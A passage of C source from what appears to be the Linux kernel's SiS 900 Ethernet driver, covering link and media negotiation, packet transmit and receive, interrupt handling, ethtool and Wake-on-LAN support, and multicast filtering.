0xFDFF; mdio_write(net_dev, sis_priv->cur_phy, MII_RESV, reg14h); } else { reg14h = mdio_read(net_dev, sis_priv->cur_phy, MII_RESV); if (revision == SIS630A_900_REV && (sis_priv->host_bridge_rev == SIS630B0 || sis_priv->host_bridge_rev == SIS630B1)) mdio_write(net_dev, sis_priv->cur_phy, MII_RESV, (reg14h | 0x2200) & 0xBFFF); else mdio_write(net_dev, sis_priv->cur_phy, MII_RESV, (reg14h | 0x2000) & 0xBFFF); } } /** * sis900_timer - sis900 timer routine * @data: pointer to sis900 net device * * On each timer ticks we check two things, * link status (ON/OFF) and link mode (10/100/Full/Half) */ static void sis900_timer(unsigned long data) { struct net_device *net_dev = (struct net_device *)data; struct sis900_private *sis_priv = netdev_priv(net_dev); struct mii_phy *mii_phy = sis_priv->mii; static const int next_tick = 5*HZ; u16 status; if (!sis_priv->autong_complete){ int uninitialized_var(speed), duplex = 0; sis900_read_mode(net_dev, &speed, &duplex); if (duplex){ sis900_set_mode(net_dev->base_addr, speed, duplex); sis630_set_eq(net_dev, sis_priv->chipset_rev); netif_start_queue(net_dev); } sis_priv->timer.expires = jiffies + HZ; add_timer(&sis_priv->timer); return; } status = mdio_read(net_dev, sis_priv->cur_phy, MII_STATUS); status = mdio_read(net_dev, sis_priv->cur_phy, MII_STATUS); /* Link OFF -> ON */ if (!netif_carrier_ok(net_dev)) { LookForLink: /* Search for new PHY */ status = sis900_default_phy(net_dev); mii_phy = sis_priv->mii; if (status & MII_STAT_LINK){ sis900_check_mode(net_dev, mii_phy); netif_carrier_on(net_dev); } } else { /* Link ON -> OFF */ if (!(status & MII_STAT_LINK)){ netif_carrier_off(net_dev); if(netif_msg_link(sis_priv)) printk(KERN_INFO "%s: Media Link Off\n", net_dev->name); /* Change mode issue */ if ((mii_phy->phy_id0 == 0x001D) && ((mii_phy->phy_id1 & 0xFFF0) == 0x8000)) sis900_reset_phy(net_dev, sis_priv->cur_phy); sis630_set_eq(net_dev, sis_priv->chipset_rev); goto LookForLink; } } sis_priv->timer.expires = jiffies + next_tick; add_timer(&sis_priv->timer); } /** * sis900_check_mode - check the media mode for sis900 * @net_dev: the net device to be checked * @mii_phy: the mii phy * * Older driver gets the media mode from mii status output * register. Now we set our media capability and auto-negotiate * to get the upper bound of speed and duplex between two ends. * If the types of mii phy is HOME, it doesn't need to auto-negotiate * and autong_complete should be set to 1. */ static void sis900_check_mode(struct net_device *net_dev, struct mii_phy *mii_phy) { struct sis900_private *sis_priv = netdev_priv(net_dev); long ioaddr = net_dev->base_addr; int speed, duplex; if (mii_phy->phy_types == LAN) { outl(~EXD & inl(ioaddr + cfg), ioaddr + cfg); sis900_set_capability(net_dev , mii_phy); sis900_auto_negotiate(net_dev, sis_priv->cur_phy); } else { outl(EXD | inl(ioaddr + cfg), ioaddr + cfg); speed = HW_SPEED_HOME; duplex = FDX_CAPABLE_HALF_SELECTED; sis900_set_mode(ioaddr, speed, duplex); sis_priv->autong_complete = 1; } } /** * sis900_set_mode - Set the media mode of mac register. * @ioaddr: the address of the device * @speed : the transmit speed to be determined * @duplex: the duplex mode to be determined * * Set the media mode of mac register txcfg/rxcfg according to * speed and duplex of phy. Bit EDB_MASTER_EN indicates the EDB * bus is used instead of PCI bus. When this bit is set 1, the * Max DMA Burst Size for TX/RX DMA should be no larger than 16 * double words. */ static void sis900_set_mode (long ioaddr, int speed, int duplex) { u32 tx_flags = 0, rx_flags = 0; if (inl(ioaddr + cfg) & EDB_MASTER_EN) { tx_flags = TxATP | (DMA_BURST_64 << TxMXDMA_shift) | (TX_FILL_THRESH << TxFILLT_shift); rx_flags = DMA_BURST_64 << RxMXDMA_shift; } else { tx_flags = TxATP | (DMA_BURST_512 << TxMXDMA_shift) | (TX_FILL_THRESH << TxFILLT_shift); rx_flags = DMA_BURST_512 << RxMXDMA_shift; } if (speed == HW_SPEED_HOME || speed == HW_SPEED_10_MBPS) { rx_flags |= (RxDRNT_10 << RxDRNT_shift); tx_flags |= (TxDRNT_10 << TxDRNT_shift); } else { rx_flags |= (RxDRNT_100 << RxDRNT_shift); tx_flags |= (TxDRNT_100 << TxDRNT_shift); } if (duplex == FDX_CAPABLE_FULL_SELECTED) { tx_flags |= (TxCSI | TxHBI); rx_flags |= RxATX; } #if defined(CONFIG_VLAN_8021Q) || defined(CONFIG_VLAN_8021Q_MODULE) /* Can accept Jumbo packet */ rx_flags |= RxAJAB; #endif outl (tx_flags, ioaddr + txcfg); outl (rx_flags, ioaddr + rxcfg); } /** * sis900_auto_negotiate - Set the Auto-Negotiation Enable/Reset bit. * @net_dev: the net device to read mode for * @phy_addr: mii phy address * * If the adapter is link-on, set the auto-negotiate enable/reset bit. * autong_complete should be set to 0 when starting auto-negotiation. * autong_complete should be set to 1 if we didn't start auto-negotiation. * sis900_timer will wait for link on again if autong_complete = 0. */ static void sis900_auto_negotiate(struct net_device *net_dev, int phy_addr) { struct sis900_private *sis_priv = netdev_priv(net_dev); int i = 0; u32 status; for (i = 0; i < 2; i++) status = mdio_read(net_dev, phy_addr, MII_STATUS); if (!(status & MII_STAT_LINK)){ if(netif_msg_link(sis_priv)) printk(KERN_INFO "%s: Media Link Off\n", net_dev->name); sis_priv->autong_complete = 1; netif_carrier_off(net_dev); return; } /* (Re)start AutoNegotiate */ mdio_write(net_dev, phy_addr, MII_CONTROL, MII_CNTL_AUTO | MII_CNTL_RST_AUTO); sis_priv->autong_complete = 0; } /** * sis900_read_mode - read media mode for sis900 internal phy * @net_dev: the net device to read mode for * @speed : the transmit speed to be determined * @duplex : the duplex mode to be determined * * The capability of remote end will be put in mii register autorec * after auto-negotiation. Use AND operation to get the upper bound * of speed and duplex between two ends. */ static void sis900_read_mode(struct net_device *net_dev, int *speed, int *duplex) { struct sis900_private *sis_priv = netdev_priv(net_dev); struct mii_phy *phy = sis_priv->mii; int phy_addr = sis_priv->cur_phy; u32 status; u16 autoadv, autorec; int i; for (i = 0; i < 2; i++) status = mdio_read(net_dev, phy_addr, MII_STATUS); if (!(status & MII_STAT_LINK)) return; /* AutoNegotiate completed */ autoadv = mdio_read(net_dev, phy_addr, MII_ANADV); autorec = mdio_read(net_dev, phy_addr, MII_ANLPAR); status = autoadv & autorec; *speed = HW_SPEED_10_MBPS; *duplex = FDX_CAPABLE_HALF_SELECTED; if (status & (MII_NWAY_TX | MII_NWAY_TX_FDX)) *speed = HW_SPEED_100_MBPS; if (status & ( MII_NWAY_TX_FDX | MII_NWAY_T_FDX)) *duplex = FDX_CAPABLE_FULL_SELECTED; sis_priv->autong_complete = 1; /* Workaround for Realtek RTL8201 PHY issue */ if ((phy->phy_id0 == 0x0000) && ((phy->phy_id1 & 0xFFF0) == 0x8200)) { if (mdio_read(net_dev, phy_addr, MII_CONTROL) & MII_CNTL_FDX) *duplex = FDX_CAPABLE_FULL_SELECTED; if (mdio_read(net_dev, phy_addr, 0x0019) & 0x01) *speed = HW_SPEED_100_MBPS; } if(netif_msg_link(sis_priv)) printk(KERN_INFO "%s: Media Link On %s %s-duplex\n", net_dev->name, *speed == HW_SPEED_100_MBPS ? "100mbps" : "10mbps", *duplex == FDX_CAPABLE_FULL_SELECTED ? "full" : "half"); } /** * sis900_tx_timeout - sis900 transmit timeout routine * @net_dev: the net device to transmit * * print transmit timeout status * disable interrupts and do some tasks */ static void sis900_tx_timeout(struct net_device *net_dev) { struct sis900_private *sis_priv = netdev_priv(net_dev); long ioaddr = net_dev->base_addr; unsigned long flags; int i; if(netif_msg_tx_err(sis_priv)) printk(KERN_INFO "%s: Transmit timeout, status %8.8x %8.8x\n", net_dev->name, inl(ioaddr + cr), inl(ioaddr + isr)); /* Disable interrupts by clearing the interrupt mask. */ outl(0x0000, ioaddr + imr); /* use spinlock to prevent interrupt handler accessing buffer ring */ spin_lock_irqsave(&sis_priv->lock, flags); /* discard unsent packets */ sis_priv->dirty_tx = sis_priv->cur_tx = 0; for (i = 0; i < NUM_TX_DESC; i++) { struct sk_buff *skb = sis_priv->tx_skbuff[i]; if (skb) { pci_unmap_single(sis_priv->pci_dev, sis_priv->tx_ring[i].bufptr, skb->len, PCI_DMA_TODEVICE); dev_kfree_skb_irq(skb); sis_priv->tx_skbuff[i] = NULL; sis_priv->tx_ring[i].cmdsts = 0; sis_priv->tx_ring[i].bufptr = 0; net_dev->stats.tx_dropped++; } } sis_priv->tx_full = 0; netif_wake_queue(net_dev); spin_unlock_irqrestore(&sis_priv->lock, flags); net_dev->trans_start = jiffies; /* prevent tx timeout */ /* load Transmit Descriptor Register */ outl(sis_priv->tx_ring_dma, ioaddr + txdp); /* Enable all known interrupts by setting the interrupt mask. */ outl((RxSOVR|RxORN|RxERR|RxOK|TxURN|TxERR|TxIDLE), ioaddr + imr); } /** * sis900_start_xmit - sis900 start transmit routine * @skb: socket buffer pointer to put the data being transmitted * @net_dev: the net device to transmit with * * Set the transmit buffer descriptor, * and write TxENA to enable transmit state machine. * tell upper layer if the buffer is full */ static netdev_tx_t sis900_start_xmit(struct sk_buff *skb, struct net_device *net_dev) { struct sis900_private *sis_priv = netdev_priv(net_dev); long ioaddr = net_dev->base_addr; unsigned int entry; unsigned long flags; unsigned int index_cur_tx, index_dirty_tx; unsigned int count_dirty_tx; /* Don't transmit data before the complete of auto-negotiation */ if(!sis_priv->autong_complete){ netif_stop_queue(net_dev); return NETDEV_TX_BUSY; } spin_lock_irqsave(&sis_priv->lock, flags); /* Calculate the next Tx descriptor entry. */ entry = sis_priv->cur_tx % NUM_TX_DESC; sis_priv->tx_skbuff[entry] = skb; /* set the transmit buffer descriptor and enable Transmit State Machine */ sis_priv->tx_ring[entry].bufptr = pci_map_single(sis_priv->pci_dev, skb->data, skb->len, PCI_DMA_TODEVICE); sis_priv->tx_ring[entry].cmdsts = (OWN | skb->len); outl(TxENA | inl(ioaddr + cr), ioaddr + cr); sis_priv->cur_tx ++; index_cur_tx = sis_priv->cur_tx; index_dirty_tx = sis_priv->dirty_tx; for (count_dirty_tx = 0; index_cur_tx != index_dirty_tx; index_dirty_tx++) count_dirty_tx ++; if (index_cur_tx == index_dirty_tx) { /* dirty_tx is met in the cycle of cur_tx, buffer full */ sis_priv->tx_full = 1; netif_stop_queue(net_dev); } else if (count_dirty_tx < NUM_TX_DESC) { /* Typical path, tell upper layer that more transmission is possible */ netif_start_queue(net_dev); } else { /* buffer full, tell upper layer no more transmission */ sis_priv->tx_full = 1; netif_stop_queue(net_dev); } spin_unlock_irqrestore(&sis_priv->lock, flags); if (netif_msg_tx_queued(sis_priv)) printk(KERN_DEBUG "%s: Queued Tx packet at %p size %d " "to slot %d.\n", net_dev->name, skb->data, (int)skb->len, entry); return NETDEV_TX_OK; } /** * sis900_interrupt - sis900 interrupt handler * @irq: the irq number * @dev_instance: the client data object * * The interrupt handler does all of the Rx thread work, * and cleans up after the Tx thread */ static irqreturn_t sis900_interrupt(int irq, void *dev_instance) { struct net_device *net_dev = dev_instance; struct sis900_private *sis_priv = netdev_priv(net_dev); int boguscnt = max_interrupt_work; long ioaddr = net_dev->base_addr; u32 status; unsigned int handled = 0; spin_lock (&sis_priv->lock); do { status = inl(ioaddr + isr); if ((status & (HIBERR|TxURN|TxERR|TxIDLE|RxORN|RxERR|RxOK)) == 0) /* nothing intresting happened */ break; handled = 1; /* why dow't we break after Tx/Rx case ?? keyword: full-duplex */ if (status & (RxORN | RxERR | RxOK)) /* Rx interrupt */ sis900_rx(net_dev); if (status & (TxURN | TxERR | TxIDLE)) /* Tx interrupt */ sis900_finish_xmit(net_dev); /* something strange happened !!! */ if (status & HIBERR) { if(netif_msg_intr(sis_priv)) printk(KERN_INFO "%s: Abnormal interrupt, " "status %#8.8x.\n", net_dev->name, status); break; } if (--boguscnt < 0) { if(netif_msg_intr(sis_priv)) printk(KERN_INFO "%s: Too much work at interrupt, " "interrupt status = %#8.8x.\n", net_dev->name, status); break; } } while (1); if(netif_msg_intr(sis_priv)) printk(KERN_DEBUG "%s: exiting interrupt, " "interrupt status = 0x%#8.8x.\n", net_dev->name, inl(ioaddr + isr)); spin_unlock (&sis_priv->lock); return IRQ_RETVAL(handled); } /** * sis900_rx - sis900 receive routine * @net_dev: the net device which receives data * * Process receive interrupt events, * put buffer to higher layer and refill buffer pool * Note: This function is called by interrupt handler, * don't do "too much" work here */ static int sis900_rx(struct net_device *net_dev) { struct sis900_private *sis_priv = netdev_priv(net_dev); long ioaddr = net_dev->base_addr; unsigned int entry = sis_priv->cur_rx % NUM_RX_DESC; u32 rx_status = sis_priv->rx_ring[entry].cmdsts; int rx_work_limit; if (netif_msg_rx_status(sis_priv)) printk(KERN_DEBUG "sis900_rx, cur_rx:%4.4d, dirty_rx:%4.4d " "status:0x%8.8x\n", sis_priv->cur_rx, sis_priv->dirty_rx, rx_status); rx_work_limit = sis_priv->dirty_rx + NUM_RX_DESC - sis_priv->cur_rx; while (rx_status & OWN) { unsigned int rx_size; unsigned int data_size; if (--rx_work_limit < 0) break; data_size = rx_status & DSIZE; rx_size = data_size - CRC_SIZE; #if defined(CONFIG_VLAN_8021Q) || defined(CONFIG_VLAN_8021Q_MODULE) /* ``TOOLONG'' flag means jumbo packet received. */ if ((rx_status & TOOLONG) && data_size <= MAX_FRAME_SIZE) rx_status &= (~ ((unsigned int)TOOLONG)); #endif if (rx_status & (ABORT|OVERRUN|TOOLONG|RUNT|RXISERR|CRCERR|FAERR)) { /* corrupted packet received */ if (netif_msg_rx_err(sis_priv)) printk(KERN_DEBUG "%s: Corrupted packet " "received, buffer status = 0x%8.8x/%d.\n", net_dev->name, rx_status, data_size); net_dev->stats.rx_errors++; if (rx_status & OVERRUN) net_dev->stats.rx_over_errors++; if (rx_status & (TOOLONG|RUNT)) net_dev->stats.rx_length_errors++; if (rx_status & (RXISERR | FAERR)) net_dev->stats.rx_frame_errors++; if (rx_status & CRCERR) net_dev->stats.rx_crc_errors++; /* reset buffer descriptor state */ sis_priv->rx_ring[entry].cmdsts = RX_BUF_SIZE; } else { struct sk_buff * skb; struct sk_buff * rx_skb; pci_unmap_single(sis_priv->pci_dev, sis_priv->rx_ring[entry].bufptr, RX_BUF_SIZE, PCI_DMA_FROMDEVICE); /* refill the Rx buffer, what if there is not enough * memory for new socket buffer ?? */ if ((skb = dev_alloc_skb(RX_BUF_SIZE)) == NULL) { /* * Not enough memory to refill the buffer * so we need to recycle the old one so * as to avoid creating a memory hole * in the rx ring */ skb = sis_priv->rx_skbuff[entry]; net_dev->stats.rx_dropped++; goto refill_rx_ring; } /* This situation should never happen, but due to some unknown bugs, it is possible that we are working on NULL sk_buff :-( */ if (sis_priv->rx_skbuff[entry] == NULL) { if (netif_msg_rx_err(sis_priv)) printk(KERN_WARNING "%s: NULL pointer " "encountered in Rx ring\n" "cur_rx:%4.4d, dirty_rx:%4.4d\n", net_dev->name, sis_priv->cur_rx, sis_priv->dirty_rx); dev_kfree_skb(skb); break; } /* give the socket buffer to upper layers */ rx_skb = sis_priv->rx_skbuff[entry]; skb_put(rx_skb, rx_size); rx_skb->protocol = eth_type_trans(rx_skb, net_dev); netif_rx(rx_skb); /* some network statistics */ if ((rx_status & BCAST) == MCAST) net_dev->stats.multicast++; net_dev->stats.rx_bytes += rx_size; net_dev->stats.rx_packets++; sis_priv->dirty_rx++; refill_rx_ring: sis_priv->rx_skbuff[entry] = skb; sis_priv->rx_ring[entry].cmdsts = RX_BUF_SIZE; sis_priv->rx_ring[entry].bufptr = pci_map_single(sis_priv->pci_dev, skb->data, RX_BUF_SIZE, PCI_DMA_FROMDEVICE); } sis_priv->cur_rx++; entry = sis_priv->cur_rx % NUM_RX_DESC; rx_status = sis_priv->rx_ring[entry].cmdsts; } // while /* refill the Rx buffer, what if the rate of refilling is slower * than consuming ?? */ for (; sis_priv->cur_rx != sis_priv->dirty_rx; sis_priv->dirty_rx++) { struct sk_buff *skb; entry = sis_priv->dirty_rx % NUM_RX_DESC; if (sis_priv->rx_skbuff[entry] == NULL) { if ((skb = dev_alloc_skb(RX_BUF_SIZE)) == NULL) { /* not enough memory for skbuff, this makes a * "hole" on the buffer ring, it is not clear * how the hardware will react to this kind * of degenerated buffer */ if (netif_msg_rx_err(sis_priv)) printk(KERN_INFO "%s: Memory squeeze, " "deferring packet.\n", net_dev->name); net_dev->stats.rx_dropped++; break; } sis_priv->rx_skbuff[entry] = skb; sis_priv->rx_ring[entry].cmdsts = RX_BUF_SIZE; sis_priv->rx_ring[entry].bufptr = pci_map_single(sis_priv->pci_dev, skb->data, RX_BUF_SIZE, PCI_DMA_FROMDEVICE); } } /* re-enable the potentially idle receive state matchine */ outl(RxENA | inl(ioaddr + cr), ioaddr + cr ); return 0; } /** * sis900_finish_xmit - finish up transmission of packets * @net_dev: the net device to be transmitted on * * Check for error condition and free socket buffer etc * schedule for more transmission as needed * Note: This function is called by interrupt handler, * don't do "too much" work here */ static void sis900_finish_xmit (struct net_device *net_dev) { struct sis900_private *sis_priv = netdev_priv(net_dev); for (; sis_priv->dirty_tx != sis_priv->cur_tx; sis_priv->dirty_tx++) { struct sk_buff *skb; unsigned int entry; u32 tx_status; entry = sis_priv->dirty_tx % NUM_TX_DESC; tx_status = sis_priv->tx_ring[entry].cmdsts; if (tx_status & OWN) { /* The packet is not transmitted yet (owned by hardware) ! * Note: the interrupt is generated only when Tx Machine * is idle, so this is an almost impossible case */ break; } if (tx_status & (ABORT | UNDERRUN | OWCOLL)) { /* packet unsuccessfully transmitted */ if (netif_msg_tx_err(sis_priv)) printk(KERN_DEBUG "%s: Transmit " "error, Tx status %8.8x.\n", net_dev->name, tx_status); net_dev->stats.tx_errors++; if (tx_status & UNDERRUN) net_dev->stats.tx_fifo_errors++; if (tx_status & ABORT) net_dev->stats.tx_aborted_errors++; if (tx_status & NOCARRIER) net_dev->stats.tx_carrier_errors++; if (tx_status & OWCOLL) net_dev->stats.tx_window_errors++; } else { /* packet successfully transmitted */ net_dev->stats.collisions += (tx_status & COLCNT) >> 16; net_dev->stats.tx_bytes += tx_status & DSIZE; net_dev->stats.tx_packets++; } /* Free the original skb. */ skb = sis_priv->tx_skbuff[entry]; pci_unmap_single(sis_priv->pci_dev, sis_priv->tx_ring[entry].bufptr, skb->len, PCI_DMA_TODEVICE); dev_kfree_skb_irq(skb); sis_priv->tx_skbuff[entry] = NULL; sis_priv->tx_ring[entry].bufptr = 0; sis_priv->tx_ring[entry].cmdsts = 0; } if (sis_priv->tx_full && netif_queue_stopped(net_dev) && sis_priv->cur_tx - sis_priv->dirty_tx < NUM_TX_DESC - 4) { /* The ring is no longer full, clear tx_full and schedule * more transmission by netif_wake_queue(net_dev) */ sis_priv->tx_full = 0; netif_wake_queue (net_dev); } } /** * sis900_close - close sis900 device * @net_dev: the net device to be closed * * Disable interrupts, stop the Tx and Rx Status Machine * free Tx and RX socket buffer */ static int sis900_close(struct net_device *net_dev) { long ioaddr = net_dev->base_addr; struct sis900_private *sis_priv = netdev_priv(net_dev); struct sk_buff *skb; int i; netif_stop_queue(net_dev); /* Disable interrupts by clearing the interrupt mask. */ outl(0x0000, ioaddr + imr); outl(0x0000, ioaddr + ier); /* Stop the chip's Tx and Rx Status Machine */ outl(RxDIS | TxDIS | inl(ioaddr + cr), ioaddr + cr); del_timer(&sis_priv->timer); free_irq(net_dev->irq, net_dev); /* Free Tx and RX skbuff */ for (i = 0; i < NUM_RX_DESC; i++) { skb = sis_priv->rx_skbuff[i]; if (skb) { pci_unmap_single(sis_priv->pci_dev, sis_priv->rx_ring[i].bufptr, RX_BUF_SIZE, PCI_DMA_FROMDEVICE); dev_kfree_skb(skb); sis_priv->rx_skbuff[i] = NULL; } } for (i = 0; i < NUM_TX_DESC; i++) { skb = sis_priv->tx_skbuff[i]; if (skb) { pci_unmap_single(sis_priv->pci_dev, sis_priv->tx_ring[i].bufptr, skb->len, PCI_DMA_TODEVICE); dev_kfree_skb(skb); sis_priv->tx_skbuff[i] = NULL; } } /* Green! Put the chip in low-power mode. */ return 0; } /** * sis900_get_drvinfo - Return information about driver * @net_dev: the net device to probe * @info: container for info returned * * Process ethtool command such as "ehtool -i" to show information */ static void sis900_get_drvinfo(struct net_device *net_dev, struct ethtool_drvinfo *info) { struct sis900_private *sis_priv = netdev_priv(net_dev); strcpy (info->driver, SIS900_MODULE_NAME); strcpy (info->version, SIS900_DRV_VERSION); strcpy (info->bus_info, pci_name(sis_priv->pci_dev)); } static u32 sis900_get_msglevel(struct net_device *net_dev) { struct sis900_private *sis_priv = netdev_priv(net_dev); return sis_priv->msg_enable; } static void sis900_set_msglevel(struct net_device *net_dev, u32 value) { struct sis900_private *sis_priv = netdev_priv(net_dev); sis_priv->msg_enable = value; } static u32 sis900_get_link(struct net_device *net_dev) { struct sis900_private *sis_priv = netdev_priv(net_dev); return mii_link_ok(&sis_priv->mii_info); } static int sis900_get_settings(struct net_device *net_dev, struct ethtool_cmd *cmd) { struct sis900_private *sis_priv = netdev_priv(net_dev); spin_lock_irq(&sis_priv->lock); mii_ethtool_gset(&sis_priv->mii_info, cmd); spin_unlock_irq(&sis_priv->lock); return 0; } static int sis900_set_settings(struct net_device *net_dev, struct ethtool_cmd *cmd) { struct sis900_private *sis_priv = netdev_priv(net_dev); int rt; spin_lock_irq(&sis_priv->lock); rt = mii_ethtool_sset(&sis_priv->mii_info, cmd); spin_unlock_irq(&sis_priv->lock); return rt; } static int sis900_nway_reset(struct net_device *net_dev) { struct sis900_private *sis_priv = netdev_priv(net_dev); return mii_nway_restart(&sis_priv->mii_info); } /** * sis900_set_wol - Set up Wake on Lan registers * @net_dev: the net device to probe * @wol: container for info passed to the driver * * Process ethtool command "wol" to setup wake on lan features. * SiS900 supports sending WoL events if a correct packet is received, * but there is no simple way to filter them to only a subset (broadcast, * multicast, unicast or arp). */ static int sis900_set_wol(struct net_device *net_dev, struct ethtool_wolinfo *wol) { struct sis900_private *sis_priv = netdev_priv(net_dev); long pmctrl_addr = net_dev->base_addr + pmctrl; u32 cfgpmcsr = 0, pmctrl_bits = 0; if (wol->wolopts == 0) { pci_read_config_dword(sis_priv->pci_dev, CFGPMCSR, &cfgpmcsr); cfgpmcsr &= ~PME_EN; pci_write_config_dword(sis_priv->pci_dev, CFGPMCSR, cfgpmcsr); outl(pmctrl_bits, pmctrl_addr); if (netif_msg_wol(sis_priv)) printk(KERN_DEBUG "%s: Wake on LAN disabled\n", net_dev->name); return 0; } if (wol->wolopts & (WAKE_MAGICSECURE | WAKE_UCAST | WAKE_MCAST | WAKE_BCAST | WAKE_ARP)) return -EINVAL; if (wol->wolopts & WAKE_MAGIC) pmctrl_bits |= MAGICPKT; if (wol->wolopts & WAKE_PHY) pmctrl_bits |= LINKON; outl(pmctrl_bits, pmctrl_addr); pci_read_config_dword(sis_priv->pci_dev, CFGPMCSR, &cfgpmcsr); cfgpmcsr |= PME_EN; pci_write_config_dword(sis_priv->pci_dev, CFGPMCSR, cfgpmcsr); if (netif_msg_wol(sis_priv)) printk(KERN_DEBUG "%s: Wake on LAN enabled\n", net_dev->name); return 0; } static void sis900_get_wol(struct net_device *net_dev, struct ethtool_wolinfo *wol) { long pmctrl_addr = net_dev->base_addr + pmctrl; u32 pmctrl_bits; pmctrl_bits = inl(pmctrl_addr); if (pmctrl_bits & MAGICPKT) wol->wolopts |= WAKE_MAGIC; if (pmctrl_bits & LINKON) wol->wolopts |= WAKE_PHY; wol->supported = (WAKE_PHY | WAKE_MAGIC); } static const struct ethtool_ops sis900_ethtool_ops = { .get_drvinfo = sis900_get_drvinfo, .get_msglevel = sis900_get_msglevel, .set_msglevel = sis900_set_msglevel, .get_link = sis900_get_link, .get_settings = sis900_get_settings, .set_settings = sis900_set_settings, .nway_reset = sis900_nway_reset, .get_wol = sis900_get_wol, .set_wol = sis900_set_wol }; /** * mii_ioctl - process MII i/o control command * @net_dev: the net device to command for * @rq: parameter for command * @cmd: the i/o command * * Process MII command like read/write MII register */ static int mii_ioctl(struct net_device *net_dev, struct ifreq *rq, int cmd) { struct sis900_private *sis_priv = netdev_priv(net_dev); struct mii_ioctl_data *data = if_mii(rq); switch(cmd) { case SIOCGMIIPHY: /* Get address of MII PHY in use. */ data->phy_id = sis_priv->mii->phy_addr; /* Fall Through */ case SIOCGMIIREG: /* Read MII PHY register. */ data->val_out = mdio_read(net_dev, data->phy_id & 0x1f, data->reg_num & 0x1f); return 0; case SIOCSMIIREG: /* Write MII PHY register. */ mdio_write(net_dev, data->phy_id & 0x1f, data->reg_num & 0x1f, data->val_in); return 0; default: return -EOPNOTSUPP; } } /** * sis900_set_config - Set media type by net_device.set_config * @dev: the net device for media type change * @map: ifmap passed by ifconfig * * Set media type to 10baseT, 100baseT or 0(for auto) by ifconfig * we support only port changes. All other runtime configuration * changes will be ignored */ static int sis900_set_config(struct net_device *dev, struct ifmap *map) { struct sis900_private *sis_priv = netdev_priv(dev); struct mii_phy *mii_phy = sis_priv->mii; u16 status; if ((map->port != (u_char)(-1)) && (map->port != dev->if_port)) { /* we switch on the ifmap->port field. I couldn't find anything * like a definition or standard for the values of that field. * I think the meaning of those values is device specific. But * since I would like to change the media type via the ifconfig * command I use the definition from linux/netdevice.h * (which seems to be different from the ifport(pcmcia) definition) */ switch(map->port){ case IF_PORT_UNKNOWN: /* use auto here */ dev->if_port = map->port; /* we are going to change the media type, so the Link * will be temporary down and we need to reflect that * here. When the Link comes up again, it will be * sensed by the sis_timer procedure, which also does * all the rest for us */ netif_carrier_off(dev); /* read current state */ status = mdio_read(dev, mii_phy->phy_addr, MII_CONTROL); /* enable auto negotiation and reset the negotioation * (I don't really know what the auto negatiotiation * reset really means, but it sounds for me right to * do one here) */ mdio_write(dev, mii_phy->phy_addr, MII_CONTROL, status | MII_CNTL_AUTO | MII_CNTL_RST_AUTO); break; case IF_PORT_10BASET: /* 10BaseT */ dev->if_port = map->port; /* we are going to change the media type, so the Link * will be temporary down and we need to reflect that * here. When the Link comes up again, it will be * sensed by the sis_timer procedure, which also does * all the rest for us */ netif_carrier_off(dev); /* set Speed to 10Mbps */ /* read current state */ status = mdio_read(dev, mii_phy->phy_addr, MII_CONTROL); /* disable auto negotiation and force 10MBit mode*/ mdio_write(dev, mii_phy->phy_addr, MII_CONTROL, status & ~(MII_CNTL_SPEED | MII_CNTL_AUTO)); break; case IF_PORT_100BASET: /* 100BaseT */ case IF_PORT_100BASETX: /* 100BaseTx */ dev->if_port = map->port; /* we are going to change the media type, so the Link * will be temporary down and we need to reflect that * here. When the Link comes up again, it will be * sensed by the sis_timer procedure, which also does * all the rest for us */ netif_carrier_off(dev); /* set Speed to 100Mbps */ /* disable auto negotiation and enable 100MBit Mode */ status = mdio_read(dev, mii_phy->phy_addr, MII_CONTROL); mdio_write(dev, mii_phy->phy_addr, MII_CONTROL, (status & ~MII_CNTL_SPEED) | MII_CNTL_SPEED); break; case IF_PORT_10BASE2: /* 10Base2 */ case IF_PORT_AUI: /* AUI */ case IF_PORT_100BASEFX: /* 100BaseFx */ /* These Modes are not supported (are they?)*/ return -EOPNOTSUPP; break; default: return -EINVAL; } } return 0; } /** * sis900_mcast_bitnr - compute hashtable index * @addr: multicast address * @revision: revision id of chip * * SiS 900 uses the most sigificant 7 bits to index a 128 bits multicast * hash table, which makes this function a little bit different from other drivers * SiS 900 B0 & 635 M/B uses the most significat 8 bits to index 256 bits * multicast hash table. */ static inline u16 sis900_mcast_bitnr(u8 *addr, u8 revision) { u32 crc = ether_crc(6, addr); /* leave 8 or 7 most siginifant bits */ if ((revision >= SIS635A_900_REV) || (revision == SIS900B_900_REV)) return (int)(crc >> 24); else return (int)(crc >> 25); } /** * set_rx_mode - Set SiS900 receive mode * @net_dev: the net device to be set * * Set SiS900 receive mode for promiscuous, multicast, or broadcast mode. * And set the appropriate multicast filter. * Multicast hash table changes from 128 to 256 bits for 635M/B & 900B0. */ static void set_rx_mode(struct net_device *net_dev) { long ioaddr = net_dev->base_addr; struct sis900_private *sis_priv = netdev_priv(net_dev); u16 mc_filter[16] = {0}; /* 256/128 bits multicast hash table */ int i, table_entries; u32 rx_mode; /* 635 Hash Table entries = 256(2^16) */ if((sis_priv->chipset_rev >= SIS635A_900_REV) || (sis_priv->chipset_rev == SIS900B_900_REV)) table_entries = 16; else table_entries = 8; if (net_dev->flags & IFF_PROMISC) { /* Accept any kinds of packets */ rx_mode = RFPromiscuous; for (i = 0; i < table_entries; i++) mc_filter[i] = 0xffff; } else if ((netdev_mc_count(net_dev) > multicast_filter_limit) || (net_dev->flags & IFF_ALLMULTI)) { /* too many multicast addresses or accept all multicast packet */ rx_mode = RFAAB | RFAAM; for (i = 0; i < table_entries; i++) mc_filter[i] = 0xffff; } else { /* Accept Broadcast packet, destination address matchs our * MAC address, use Receive Filter to reject unwanted MCAST * packets */ struct netdev_hw_addr *ha; rx_mode = RFAAB; netdev_for_each_mc_addr(ha, net_dev) { unsigned int bit_nr; bit_nr = sis900_mcast_bitnr(ha->addr, sis_priv->chipset_rev); mc_filter[bit_nr >> 4] |= (1 << (bit_nr & 0xf)); } } /* update Multicast Hash Table in Receive Filter */ for (i = 0; i < table_entries; i++) { /* why plus 0x04 ??, That makes the correct value for hash table. */ outl((u32)(0x00000004+i) << RFADDR_shift, ioaddr + rfcr); outl(mc_filter[i], ioaddr + rfdr); } outl(RFEN | rx_mode, ioaddr + rfcr); /* sis900 is capable of looping back packets at MAC level for * debugging purpose */ if (net_dev->flags & IFF_LOOPBACK) { u32 cr_saved; /* We must disable Tx/Rx before setting loopback mode */ cr_saved = inl(ioaddr + cr); outl(cr_saved | TxDIS | RxDIS, ioaddr + cr); /* enable loopback */ outl(inl(ioaddr + txcfg) | TxMLB, ioaddr + txcfg); outl(inl(ioaddr + rxcfg) | RxATX, ioaddr + rxcfg); /* restore cr */ 